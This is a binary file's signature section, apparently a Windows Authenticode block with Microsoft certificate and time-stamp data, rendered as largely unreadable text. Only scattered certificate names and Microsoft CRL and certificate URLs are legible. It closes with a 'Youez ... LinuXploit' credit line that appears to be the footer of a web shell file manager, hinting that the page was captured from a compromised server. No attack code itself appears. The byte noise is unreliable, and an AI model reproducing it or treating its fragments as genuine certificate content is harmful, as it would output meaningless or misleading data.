̡�M��~;ax�|xT�nJ2L��+����8���ܞ�-��A�G�T*���S3�<�:Cݨ�#�6J�8�ou�,bO�l��K&�*&n��`���|5M`x�O �^�U)��s�ۿ��	���0��0U%0
+�7
+0U�`\�6�ϧ4��h�N$�o*0TUM0K�I0G1-0+U$Microsoft Ireland Operations Limited10U
229879+5075120U#0��)9�ėx͐��O��|U�S0WUP0N0L�J�H�Fhttp://www.microsoft.com/pkiops/crl/MicWinProPCA2011_2011-10-19.crl%200a+U0S0Q+0�Ehttp://www.microsoft.com/pkiops/certs/MicWinProPCA2011_2011-10-19.crt0U�00
	*�H��
��R��>���q;/
W�M95s�
�q9����V�ޏ�%���y��{��0L%�3e_�12E�8;Mx���;HB/��y�����9��-�yU�}lT���W����t,\��r'D�i���Y�Ѡۆ8
�p<:��NbC��8�<i���g���N?=N}�i;�s�6wjql`��4�$�����(t��U�vMb��}�EwTC����V�X+ls\����yφ,��5r*���0��0���
avV0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
111019184142Z
261019185142Z0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1.0,U%Microsoft Windows Production PCA 20110�"0
	*�H��
�0�
�����.	����i�!�i33��T����� ��ҋ�8����-|by��J?5 p���k�6u�1ݍp��7�tF�([�`#,��G�g�Q'�r��ɹ;S5|���'�����#	o�F��n�<A�ˣ?]jM�i%(\6��C
��������['�'x0�[*	k"�S`,�hS��I�a��h	sD]}�T+�y��5]l+\μ�#�on�&�6�O�'��2;A�,���w�TN�\�e�C���mw�Z$�H��C0�?0	+�70U�)9�ėx͐��O��|U�S0	+�7
SubCA0U�0U�0�0U#0��Vˏ�\bh�=��[�Κ�0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0
	*�H��
��|qQ�y�n��9>�<Rn+?s��h�H�4M��&�1F�ay�8.Ek��(�����	��L
6fj���������@26v�Zƿ���Ӭ�h�b��TlP0X��|���N���|�sW�R!s4Z�V��	����~�����?�rS��c��=1e�������=����BА�_T���G�o�sNA�@�_�*��s�!(���s9_>�\`����	���Q�fG���=�*hw��Lb{��Ǻz�4Kbz����J7�-�W|�=ܸZ��ij�:��n�i!7ށ�ugӓW^)9��-���Es[���z��FX�^���g�l5��?$�5�
u�V��x,��Ј���ߺ~,c��#!�xl�X6+�̤��-����@�E�Ί\k>��p*
j�_G��c
2��6*pZ�BYqKW�~���!<��Ź���E��� ����ŕ�]b֠c �uw}=�E�����W�o3��w�bY~1��0��0��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1.0,U%Microsoft Windows Production PCA 20113�W���2-.�0
	`�He��0	*�H��
	1
+�70
+�710
+�70/	*�H��
	1" v�� p�M#J�i :�V�2	�!�v)2ĖD�0P
+�7
1B@8B8BB3061F37B4900E5B08494FEC615FC450DB687E228978CDDF3827B1A6324E0Z
+�71L0J�$�"Microsoft Windows�"� http://www.microsoft.com/windows0
	*�H��
���U��&Ӳΰ�1i�2�ڈ�r�苛�y��J�3�Iz
���¶�R�j�S�ׂ|d'�d����JV�
׌�����W`�J<B�P��<���F�ƍ��I�:I%�J.b�=$�)�x�t��γ��8TN��ٮ-���'��=*�9��mM�U�+]l�R̞
e�Oоɍ^�}KX4��-��8d�6u-K
~`s��jp�
:���?����["pOt0eK��ǂ����+�/\qS�#��(7�xҐ��`���0��
+�71��0��	*�H��
���0��10
	`�He0�Z*�H��
	��I�E0�A
+�Y
010
	`�He D��I3ޱ2�C-e��9R��%sW�sl]��w-j5h��820260711072543.542Z0��٤��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1-0+U$Microsoft Ireland Operations Limited1'0%UnShield TSS ESN:4C1A-05E0-D9471%0#UMicrosoft Time-Stamp Service���0�(0��3%ْ����0
	*�H��
0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
250814184825Z
261113184825Z0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1-0+U$Microsoft Ireland Operations Limited1'0%UnShield TSS ESN:4C1A-05E0-D9471%0#UMicrosoft Time-Stamp Service0�"0
	*�H��
�0�
������&�Ĺ�Ⱦ>������\AY��8\����2<
g�9q��驻�Z�k2�#����
Wќ�{����)8�$�e$�2��>!m$��w����Ƃx�~d%�7�U�`��d!��C5�o��m#�j��}Z:76i�>��\{(�G��yH���I�����
��X��$=������9Ċ���UB`�Q�)���#�yЁ"���MQkq
����bA��aU@Y�ŋ߫'�l�w��Τ��zQ����b���=�h�+�O:�R$¥3�
>�,^�\i��!Iս;��f"�F��9�Yk
Ѩ���zRE�7b�)rD�TABe�f��Y_������~�޶
l���6?A��N����M7׎/�͇�f��?�l�������%��0�&)����N.3R��T؇c�[F{������@\7���M�B��tc�t�G?���>)�0G��U��J2�#�� �#
��I��I0�E0U$.��\:c�G���,_���0U#0���]^b]����e�S5�r0_UX0V0T�R�P�Nhttp://www.microsoft.com/pkiops/crl/Microsoft%20Time-Stamp%20PCA%202010(1).crl0l+`0^0\+0�Phttp://www.microsoft.com/pkiops/certs/Microsoft%20Time-Stamp%20PCA%202010(1).crt0U�00U%�0
+0U��0
	*�H��
��Hц<����xb*�=Z�qp��� ���J?�k��&��90?.'���+ƪ�+����2��~�1	���*���(�0��Ⱦk�w�&�{Zm�=��o��i��~`0I�Nj`�gN������z�1Z/5���c�ȏF<_"��6"�8Ur��3���8�(
@�h�f�,��<�M�5�e��;p��溦�
1��!��(9{���@{oG��~
2E�E��cy*Ղ�W��2�+���2�ݯ����+e�.l���7����^!+�	�Z1�Ih�=�Bv�Ho��&�dT��#��w�5/{ ���՛��L�tgV�]��}U{��\�٬_Jv}+�u>E�I�_��ې���>VP��w���h�M���.8F�e�C��i�O߬&[�
��"y�PϤ���x��l0d��l�z�Zږ"���� /�bF���4«�X�o�%����a	��B�	o$�@��P�����0�q0�Y�3��k��I�0
	*�H��
0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1200U)Microsoft Root Certificate Authority 20100
210930182225Z
300930183225Z0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100�"0
	*�H��
�0�
���L�r!y���$y�Ղ��ҩlNu��5W�lJ�⽹>`3�\O�f��SqZ�~JZ��6g�F#���w2��`}jR�D���Fk��v��P�D�q\Q17�
8n����&S|9azĪ�ri����6�5&dژ;�{3��[~��R���b%�j�]�S���VM�ݼ��㑏�9,Q��pi
�6-p�1�5(�㴇$��ɏ~�T��U�mh;�F��z)7���E�Fn�2��0\O,�b�͹⍈䖬J��q�[g`���=� �s}A�Fu��_4���� }~�ٞE߶r/�}_��۪~6�6L�+n�Q���s�M7t�4���G��|?Lۯ^����s=CN�39L��Bh.�QF�ѽjZas�g�^�(v�3rק ��
�co�6d�[���!]_0t���عP��a�65�G������k�\RQ]�%��Pzl�r�Rą��<�7�?x�E���^ڏ�riƮ{��>j�.����0��0	+�70#	+�7*�R�dĚ���<F5)��/�0U��]^b]����e�S5�r0\U U0S0Q+�7L�}0A0?+3http://www.microsoft.com/pkiops/Docs/Repository.htm0U%0
+0	+�7
SubCA0U�0U�0�0U#0��Vˏ�\bh�=��[�Κ�0VUO0M0K�I�G�Ehttp://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl0Z+N0L0J+0�>http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt0
	*�H��
��U}�*��,g1$[�rK��o�\�>NGdx���=13�9��q6?�dl|�u9m�1��lѡ�"��fg:SMݘ��x�6.���V����i�	�{�jo�)�n�?Hu��m��m#T�xSu$W�ݟ�=��h�e��V����(U'�$�@���]='�@�8���)�ü�T�B�������j�BRu�6��as.,k{n?,	x鑲�[�I�t�쑀�=�J>f;O���2ٖ����t��Lro�u0�4�z�P�
X�@<�Tm�ctH,�NG-�q�d�$�smʎ	��WITd�s�[D�Z�k
��(�g($�8K�n�!TkjEG����^O���Lv�WT	�iD~|�als�
��Af=i��AI~~���;����>�1Q������{��p���(��6ںL���
�4�$5g+�
�挙��"��'B=%��tt[jў>�~�13}���{�8pDѐ�ȫ:�:b�pcSM��m��qj�U3X��pf�V0�>0���٤��0��10	UUS10U
Washington10URedmond10U
Microsoft Corporation1-0+U$Microsoft Ireland Operations Limited1'0%UnShield TSS ESN:4C1A-05E0-D9471%0#UMicrosoft Time-Stamp Service�#
0+�kF�u���<B������{�頁�0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100
	*�H��
�>E0"20260711040005Z20260712040005Z0t0:
+�Y
1,0*0
�>E0�0b0
��06
+�Y
1(0&0
+�Y
�
0� �
0��0
	*�H��
�Y��F3Òy�b� p���)A�_�H	��Afl��OH[9����?T b���n-�(�5��7�T�{Ȇ�����%ir�A���.`��A�r�X�1��`I�1�koa��D�'(� "�2���Ƹ�_l�_8Y4:�۵�U��69�үr����Y�v�a��la�Ǘ<3h��%�*�s��r�Ye��|]h�	>2��E��YM�Xx��Tn���ػ�*����*��Av���J�v/T1�
0�	0��0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103%ْ����0
	`�He��J0	*�H��
	1
*�H��
	0/	*�H��
	1" ��~�V�7
(�ED�%�%����6��	pj�a0��*�H��
	/1��0��0��0�� �܉��ȴ�hD��1�+U�J���tsh�s�ׅj0��0���~0|10	UUS10U
Washington10URedmond10U
Microsoft Corporation1&0$UMicrosoft Time-Stamp PCA 20103%ْ����0" �-dY5������j�����R�(���X(�	80
	*�H��
�>�5Y��H]%[��?R�\��)bS�o��G�9sJ�7��,�ʡ�Cu�8Σ!��6nqq%��J��܍xh������q/��J�	_[j�	�d���H�Z��]p�T�!���ŝ���Lœd$�K�X/���x���cP��Zj(��i6Ӿeb�W�G,x6�f��!H�*�,�����6�
��b��=qK���^�3�_~���xA�����Nl��!���iͰY���1���_����[�͔�Zǡ�f��%�)�vo�ҟ�T�����B�DI��{�����¼R)oX��;\#E����%iT樤&�t��X�<G�ES�T%�`5S�rk@�����Pe� �if2��J�S�IU�-z�'k�E�u����ev\x��VǽY�HZ���d�A~@�`�uG������AD�]�h���f�Z�'Ϸ7���3g�T݊����(��<�7�. ^�($���1X�+1I��~�K�S7�r���K&�

Youez - 2016 - github.com/yon3zu
LinuXploit